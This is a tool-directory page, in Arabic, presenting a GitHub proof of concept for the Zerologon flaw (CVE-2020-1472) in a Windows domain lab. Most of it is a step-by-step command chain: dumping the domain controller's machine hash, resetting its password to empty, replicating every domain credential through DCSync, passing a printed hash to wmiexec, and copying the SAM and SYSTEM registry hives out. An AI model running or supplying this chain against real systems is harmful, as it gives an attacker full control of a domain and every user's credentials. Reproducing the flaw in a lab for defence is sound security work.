Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2020-1472 — cve-2020-1472 إعادة الإنتاج والاستغلال وexp | Kitploit
أدوات/GitHubGitHub/mstxq17/cve-2020-1472
كسر كلمات المرورتصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالما بعد الاستغلالاختبار الاختراق
GitHubmstxq17/cve-2020-1472

cve-2020-1472

cve-2020-1472 إعادة الإنتاج والاستغلال وexp

عرض المستودع
111243منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-1472 POC

في بيئة macOS، أعد إنتاج هذه الثغرة في بيئة نطاق Windows باستخدام وكيل بروكسي تشينز (proxychains).

البيئة

DC (وحدة تحكم المجال الأساسية):

image-20200916113011251

Domain User (جهاز عضو المجال):

عبر إعداد وكيل SOCKS5 مباشر باستخدام gost.

image-20200916113305548

Attack Hacker (جهاز المهاجم):

قم بضبط proxychains4

root@kitploit:~
vim  /Users/xq17/.proxychains/proxychains.conf

أضف قائمة ProxyList

[ProxyList] socks5 10.211.55.42 8099

Attack Tools (أدوات الاستغلال):

root@kitploit:~
1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt

إذا ظهر الخطأ التالي عند التنفيذ:

image-20200916114449062

فهذا يشير إلى وجود مشكلة في وحدة impacket؛ جرّب إلغاء تثبيت وحدة impacket وتثبيت أحدث إصدار من GitHub.

root@kitploit:~
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .

عندها يُحلّ المشكل.

أداة نسخة C#: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon

خطوات الاستغلال

  1. أولاً، استخدم كلمة مرور وحدة تحكم المجال محليًا لتصدير تجزئة حساب جهاز المجال، لتسهيل المقارنة بعد التعديل.
root@kitploit:~
   proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
   
   或者去掉双引号,但是要注意在linux下$代表是变量的意思记得转义。
   
   proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$

image-20200916115110187

  1. استخدم zerologon_tester.py للتحقق من وجود الثغرة.

    python3 zerologon_tester.py DC 10.211.55.38

    image-20200916115408007

    ظهور "Success" يعني وجود الثغرة.

  2. استخدم cve-2020-1472-exploit.py لإعادة تعيين حساب الجهاز.

    python3 cve-2020-1472-exploit.py dc$ 10.211.55.38

    image-20200916115639951

  3. تحقق مرة أخرى من أن كلمة مرور الجهاز أصبحت فارغة.

    image-20200916115757385

  4. يمكن لحساب جهاز وحدة تحكم المجال استخدام DCSync لتصدير جميع بيانات اعتماد المستخدمين في المجال.

    المبدأ:

    image-20200916120658369

    استخدم بروتوكول DRS (خدمة تكرار الدليل، Directory Replication Service) عبر IDL_DRSGetNCChanges لنسخ بيانات اعتماد المستخدمين من وحدة تحكم المجال.

    proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass

    image-20200916120926625

أسئلة

في بيئة المجال الفردي:

يعمل بشكل مثالي، وبعد إعادة تشغيل وحدة تحكم المجال لا توجد أي خلل، لكن جهاز عضو المجال قد يواجه مشكلة في DNS، وهذا لا يؤثر على المصادقة.

image-20200916182258498

بعد استعادة كلمة المرور:

image-20200916182446890

في بيئة المجال المزدوج: وحدة تحكم مجال رئيسية DC وحدة تحكم مجال احتياطية DC01:

image-20200916205319345

عند الحصول مبدئيًا على تجزئة جهاز وحدتي تحكم المجال، تبيّن أنهما غير متطابقتين.

image-20200916205520212

عند محاولة استهداف وحدة التحكم الاحتياطية، تبيّن أن ذلك لم يؤثر على وحدة التحكم الرئيسية، كما لوحظ أن بيانات ntdis.dist تتم مزامنتها أيضًا.

image-20200916212015947

عند محاولة استهداف وحدة التحكم الرئيسية، يحدث خطأ في net time /domain كما في بيئة المجال الفردي، لكن بعد إصلاح كلمة المرور تعود الاستجابة فورًا.

يمكن مزامنة الحسابات الجديدة مباشرة.

image-20200916213953415

كما أن تغيير كلمة المرور لا يؤثر على المزامنة.

رأيي الشخصي: لم أرَ أي مشكلة في الخروج من المجال حتى الآن، وأنصح بتجربة هذا الإجراء مرة واحدة، وإذا واجهت أي مشكلة فنرحب بمناقشتي!

المراجع

تحليل مبدأ ثغرة رفع الصلاحيات في Netlogon (CVE-2020-1472) والتحقق منها

نسخة PDF بالصينية

NAXG/CVE-2020-1472

إعداد بيئة المجال المزدوج

تنزيل الأداة
  • استعادة كلمة مرور حساب جهاز DC$.

    عبر

    proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'

    احصل على تجزئة مسؤول المجال.

    image-20200916143032315

    image-20200916143104828

    ثم عبر wmic و Pass the Hash احصل على صلاحيات المسؤول المحلي في وحدة تحكم المجال (مسؤول المجال).

    root@kitploit:~
    wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
    

    ثم نفّذ الأوامر التالية لنسخ قاعدة بيانات SAM المحلية إلى جهاز Mac:

    root@kitploit:~
    - reg save HKLM\SYSTEM system.save
    - reg save HKLM\SAM sam.save
    - reg save HKLM\SECURITY security.save
    - get system.save
    - get sam.save
    - get security.save
    - del /f system.save
    - del /f sam.save
    - del /f security.save
    

    image-20200916145737983

    secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

    استخرج التمثيل السداسي العشري الصريح لحساب الجهاز.

    image-20200916145937435

    أخيرًا نفّذ:

    root@kitploit:~
    proxychains4 python3 restorepassword.py DC@DC -target-ip 10.211.55.38 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f969563803b0f1bae7ccd24b29b41ae611025f1952793562d73e7f4e0f8938b3361332b35dd5ee22785b79b922149db32dc5c9301f4fd9fd090f532575bf5197a9c9230955bfd96ab928ae66b3999730c75b8545e26770816f21f2dbf9dbb19432211a91224c4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960
    

    يمكن ملاحظة أن المعلومات استُعيدت بالكامل.